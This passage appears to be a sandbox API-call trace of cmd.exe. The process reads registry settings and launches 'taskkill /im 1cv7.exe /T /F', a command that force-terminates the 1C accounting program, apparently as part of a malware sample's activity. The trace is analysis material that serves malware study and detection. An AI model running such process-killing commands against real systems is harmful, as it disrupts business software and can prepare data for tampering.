lpcbData=0x45e9d0*=0x4) returned 0x0 [0045.866] RegQueryValueExW (in: hKey=0x6c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x45e9d4, lpData=0x45e9d8, lpcbData=0x45e9d0*=0x1000 | out: lpType=0x45e9d4*=0x4, lpData=0x45e9d8*=0x40, lpcbData=0x45e9d0*=0x4) returned 0x0 [0045.866] RegQueryValueExW (in: hKey=0x6c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x45e9d4, lpData=0x45e9d8, lpcbData=0x45e9d0*=0x1000 | out: lpType=0x45e9d4*=0x4, lpData=0x45e9d8*=0x40, lpcbData=0x45e9d0*=0x4) returned 0x0 [0045.866] RegQueryValueExW (in: hKey=0x6c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x45e9d4, lpData=0x45e9d8, lpcbData=0x45e9d0*=0x1000 | out: lpType=0x45e9d4*=0x0, lpData=0x45e9d8*=0x40, lpcbData=0x45e9d0*=0x1000) returned 0x2 [0045.866] RegCloseKey (hKey=0x6c) returned 0x0 [0045.866] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x45e9cc | out: phkResult=0x45e9cc*=0x6c) returned 0x0 [0045.866] RegQueryValueExW (in: hKey=0x6c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x45e9d4, lpData=0x45e9d8, lpcbData=0x45e9d0*=0x1000 | out: lpType=0x45e9d4*=0x0, lpData=0x45e9d8*=0x40, lpcbData=0x45e9d0*=0x1000) returned 0x2 [0045.866] RegQueryValueExW (in: hKey=0x6c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x45e9d4, lpData=0x45e9d8, lpcbData=0x45e9d0*=0x1000 | out: lpType=0x45e9d4*=0x4, lpData=0x45e9d8*=0x1, lpcbData=0x45e9d0*=0x4) returned 0x0 [0045.866] RegQueryValueExW (in: hKey=0x6c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x45e9d4, lpData=0x45e9d8, lpcbData=0x45e9d0*=0x1000 | out: lpType=0x45e9d4*=0x0, lpData=0x45e9d8*=0x1, lpcbData=0x45e9d0*=0x1000) returned 0x2 [0045.866] RegQueryValueExW (in: hKey=0x6c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x45e9d4, lpData=0x45e9d8, lpcbData=0x45e9d0*=0x1000 | out: lpType=0x45e9d4*=0x4, lpData=0x45e9d8*=0x0, lpcbData=0x45e9d0*=0x4) returned 0x0 [0045.866] RegQueryValueExW (in: hKey=0x6c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x45e9d4, lpData=0x45e9d8, lpcbData=0x45e9d0*=0x1000 | out: lpType=0x45e9d4*=0x4, lpData=0x45e9d8*=0x9, lpcbData=0x45e9d0*=0x4) returned 0x0 [0045.866] RegQueryValueExW (in: hKey=0x6c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x45e9d4, lpData=0x45e9d8, lpcbData=0x45e9d0*=0x1000 | out: lpType=0x45e9d4*=0x4, lpData=0x45e9d8*=0x9, lpcbData=0x45e9d0*=0x4) returned 0x0 [0045.866] RegQueryValueExW (in: hKey=0x6c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x45e9d4, lpData=0x45e9d8, lpcbData=0x45e9d0*=0x1000 | out: lpType=0x45e9d4*=0x0, lpData=0x45e9d8*=0x9, lpcbData=0x45e9d0*=0x1000) returned 0x2 [0045.866] RegCloseKey (hKey=0x6c) returned 0x0 [0045.867] time (in: timer=0x0 | out: timer=0x0) returned 0x5c3c3f53 [0045.867] srand (_Seed=0x5c3c3f53) [0045.867] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c taskkill /im 1cv7.exe /T /F" [0045.867] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c taskkill /im 1cv7.exe /T /F" [0045.867] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a435260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0045.867] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x524bb8, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0045.867] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a440640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0045.867] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a440640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0045.867] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a440640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0045.867] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0045.867] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0045.867] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0045.867] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0045.867] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0045.867] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0045.868] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0045.868] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0045.868] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0045.868] GetEnvironmentStringsW () returned 0x522b28* [0045.868] FreeEnvironmentStringsW (penv=0x522b28) returned 1 [0045.868] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a440640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0045.868] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a440640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0045.868] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0045.868] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0045.868] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0045.868] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0045.868] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0045.868] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0045.868] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0045.868] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0045.869] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x45f798 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0045.869] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x45f798, lpFilePart=0x45f794 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x45f794*="Desktop") returned 0x25 [0045.869] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0045.869] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x45f514 | out: lpFindFileData=0x45f514) returned 0x521dc0 [0045.869] FindClose (in: hFindFile=0x521dc0 | out: hFindFile=0x521dc0) returned 1 [0045.869] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x45f514 | out: lpFindFileData=0x45f514) returned 0x521dc0 [0045.869] FindClose (in: hFindFile=0x521dc0 | out: hFindFile=0x521dc0) returned 1 [0045.869] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0045.869] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x45f514 | out: lpFindFileData=0x45f514) returned 0x521dc0 [0045.869] FindClose (in: hFindFile=0x521dc0 | out: hFindFile=0x521dc0) returned 1 [0045.870] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0045.870] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0045.870] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0045.870] GetEnvironmentStringsW () returned 0x522b28* [0045.870] FreeEnvironmentStringsW (penv=0x522b28) returned 1 [0045.870] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a435260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0045.871] GetConsoleOutputCP () returned 0x1b5 [0045.871] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a434260 | out: lpCPInfo=0x4a434260) returned 1 [0045.871] GetUserDefaultLCID () returned 0x409 [0045.871] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a434950, cchData=8 | out: lpLCData=":") returned 2 [0045.872] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x45f8d8, cchData=128 | out: lpLCData="0") returned 2 [0045.872] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x45f8d8, cchData=128 | out: lpLCData="0") returned 2 [0045.872] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x45f8d8, cchData=128 | out: lpLCData="1") returned 2 [0045.872] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a434940, cchData=8 | out: lpLCData="/") returned 2 [0045.872] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a434d80, cchData=32 | out: lpLCData="Mon") returned 4 [0045.872] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a434d40, cchData=32 | out: lpLCData="Tue") returned 4 [0045.872] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a434d00, cchData=32 | out: lpLCData="Wed") returned 4 [0045.872] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a434cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0045.872] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a434c80, cchData=32 | out: lpLCData="Fri") returned 4 [0045.872] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a434c40, cchData=32 | out: lpLCData="Sat") returned 4 [0045.872] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a434c00, cchData=32 | out: lpLCData="Sun") returned 4 [0045.872] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a434930, cchData=8 | out: lpLCData=".") returned 2 [0045.872] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a434920, cchData=8 | out: lpLCData=",") returned 2 [0045.872] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0045.873] GetConsoleTitleW (in: lpConsoleTitle=0x525908, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0045.874] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75a20000 [0045.874] GetProcAddress (hModule=0x75a20000, lpProcName="CopyFileExW") returned 0x75a53b92 [0045.874] GetProcAddress (hModule=0x75a20000, lpProcName="IsDebuggerPresent") returned 0x75a34a5d [0045.874] GetProcAddress (hModule=0x75a20000, lpProcName="SetConsoleInputExeNameW") returned 0x75a4a79d [0045.875] _wcsicmp (_String1="taskkill", _String2=")") returned 75 [0045.875] _wcsicmp (_String1="FOR", _String2="taskkill") returned -14 [0045.875] _wcsicmp (_String1="FOR/?", _String2="taskkill") returned -14 [0045.875] _wcsicmp (_String1="IF", _String2="taskkill") returned -11 [0045.875] _wcsicmp (_String1="IF/?", _String2="taskkill") returned -11 [0045.875] _wcsicmp (_String1="REM", _String2="taskkill") returned -2 [0045.875] _wcsicmp (_String1="REM/?", _String2="taskkill") returned -2 [0045.876] GetConsoleTitleW (in: lpConsoleTitle=0x45f5d0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0045.876] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16 [0045.876] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15 [0045.876] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16 [0045.876] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24 [0045.876] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17 [0045.876] _wcsicmp (_String1="taskkill", _String2="CD") returned 17 [0045.876] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17 [0045.876] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2 [0045.876] _wcsicmp (_String1="taskkill", _String2="REN") returned 2 [0045.876] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15 [0045.876] _wcsicmp (_String1="taskkill", _String2="SET") returned 1 [0045.876] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4 [0045.876] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16 [0045.877] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8 [0045.877] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4 [0045.877] _wcsicmp (_String1="taskkill", _String2="MD") returned 7 [0045.877] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7 [0045.877] _wcsicmp (_String1="taskkill", _String2="RD") returned 2 [0045.877] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2 [0045.877] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4 [0045.877] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13 [0045.877] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1 [0045.877] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17 [0045.877] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17 [0045.877] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2 [0045.877] _wcsicmp (_String1="taskkill", _String2="VER") returned -2 [0045.877] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2 [0045.877] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15 [0045.877] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1 [0045.877] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15 [0045.877] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8 [0045.877] _wcsicmp (_String1="taskkill", _String2="START") returned 1 [0045.877] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16 [0045.877] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9 [0045.877] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7 [0045.877] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4 [0045.877] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4 [0045.877] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19 [0045.877] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14 [0045.877] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18 [0045.877] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17 [0045.877] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7 [0045.877] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16 [0045.877] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15 [0045.877] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16 [0045.877] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24 [0045.877] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17 [0045.877] _wcsicmp (_String1="taskkill", _String2="CD") returned 17 [0045.877] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17 [0045.877] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2 [0045.877] _wcsicmp (_String1="taskkill", _String2="REN") returned 2 [0045.878] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15 [0045.878] _wcsicmp (_String1="taskkill", _String2="SET") returned 1 [0045.878] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4 [0045.878] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16 [0045.878] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8 [0045.878] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4 [0045.878] _wcsicmp (_String1="taskkill", _String2="MD") returned 7 [0045.878] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7 [0045.878] _wcsicmp (_String1="taskkill", _String2="RD") returned 2 [0045.878] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2 [0045.878] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4 [0045.878] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13 [0045.878] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1 [0045.878] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17 [0045.878] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17 [0045.878] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2 [0045.878] _wcsicmp (_String1="taskkill", _String2="VER") returned -2 [0045.878] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2 [0045.878] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15 [0045.878] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1 [0045.878] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15 [0045.878] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8 [0045.878] _wcsicmp (_String1="taskkill", _String2="START") returned 1 [0045.878] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16 [0045.878] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9 [0045.878] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7 [0045.878] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4 [0045.878] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4 [0045.878] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19 [0045.878] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14 [0045.878] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18 [0045.878] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17 [0045.878] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7 [0045.878] _wcsicmp (_String1="taskkill", _String2="FOR") returned 14 [0045.878] _wcsicmp (_String1="taskkill", _String2="IF") returned 11 [0045.878] _wcsicmp (_String1="taskkill", _String2="REM") returned 2 [0045.879] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17 [0045.879] SetErrorMode (uMode=0x0) returned 0x0 [0045.879] SetErrorMode (uMode=0x1) returned 0x0 [0045.879] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x525dc8, lpFilePart=0x45f0f0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x45f0f0*="Desktop") returned 0x25 [0045.879] SetErrorMode (uMode=0x0) returned 0x1 [0045.879] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a440640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0045.879] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0045.885] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a440640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0045.885] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0045.886] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x45ee6c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x45ee6c) returned 0xffffffff [0045.886] GetLastError () returned 0x2 [0045.886] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill", fInfoLevelId=0x1, lpFindFileData=0x45ee6c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x45ee6c) returned 0xffffffff [0045.886] GetLastError () returned 0x2 [0045.886] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0045.886] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x45ee6c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x45ee6c) returned 0x526108 [0045.886] FindClose (in: hFindFile=0x526108 | out: hFindFile=0x526108) returned 1 [0045.886] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.COM", fInfoLevelId=0x1, lpFindFileData=0x45ee6c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x45ee6c) returned 0xffffffff [0045.887] GetLastError () returned 0x2 [0045.887] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.EXE", fInfoLevelId=0x1, lpFindFileData=0x45ee6c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x45ee6c) returned 0x526108 [0045.887] FindClose (in: hFindFile=0x526108 | out: hFindFile=0x526108) returned 1 [0045.887] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0045.887] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0045.887] GetConsoleTitleW (in: lpConsoleTitle=0x45f364, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0045.887] InitializeProcThreadAttributeList (in: lpAttributeList=0x45f1ec, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x45f2b4 | out: lpAttributeList=0x45f1ec, lpSize=0x45f2b4) returned 1 [0045.887] UpdateProcThreadAttribute (in: lpAttributeList=0x45f1ec, dwFlags=0x0, Attribute=0x60001, lpValue=0x45f2ac, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x45f1ec, lpPreviousValue=0x0) returned 1 [0045.887] GetStartupInfoW (in: lpStartupInfo=0x45f1a8 | out: lpStartupInfo=0x45f1a8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x144, lpReserved2=0x5119c8, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0045.887] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0045.887] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0045.887] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0045.887] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0045.888] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0045.888] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0045.888] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0045.888] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0045.888] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0045.888] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0045.888] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0045.888] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0045.888] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0045.888] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0045.888] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0045.888] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0045.888] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0045.888] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0045.888] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0045.888] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0045.888] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0045.888] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0045.888] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0045.888] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0045.888] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0045.888] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0045.888] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0045.888] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0045.888] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0045.888] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0045.888] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0045.888] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0045.888] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0045.889] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0045.889] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0045.889] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0045.889] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0045.889] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0045.889] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0045.889] lstrcmpW (lpString1="\\taskkill.exe", lpString2="\\XCOPY.EXE") returned -1 [0045.890] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\taskkill.exe", lpCommandLine="taskkill /im 1cv7.exe /T /F", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x45f248*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="taskkill /im 1cv7.exe /T /F", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x45f294 | out: lpCommandLine="taskkill /im 1cv7.exe /T /F", lpProcessInformation=0x45f294*(hProcess=0x7c, hThread=0x78, dwProcessId=0xbf4, dwThreadId=0xbf8)) returned 1 [0045.897] CloseHandle (hObject=0x78) returned 1 [0045.897] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0045.897] GetEnvironmentStringsW () returned 0x524dc8* [0045.897] FreeEnvironmentStringsW (penv=0x524dc8) returned 1 [0045.897] WaitForSingleObject (hHandle=0x7c, dwMilliseconds=0xffffffff) returned 0x0 [0046.252] GetExitCodeProcess (in: hProcess=0x7c, lpExitCode=0x45f188 | out: lpExitCode=0x45f188*=0x80) returned 1 [0046.252] CloseHandle (hObject=0x7c) returned 1 [0046.252] _vsnwprintf (in: _Buffer=0x45f2d0, _BufferCount=0x13, _Format="%08X", _ArgList=0x45f194 | out: _Buffer="00000080") returned 8 [0046.252] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000080") returned 1 [0046.252] GetEnvironmentStringsW () returned 0x522b28* [0046.252] FreeEnvironmentStringsW (penv=0x522b28) returned 1 [0046.252] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0046.252] GetEnvironmentStringsW () returned 0x522b28* [0046.252] 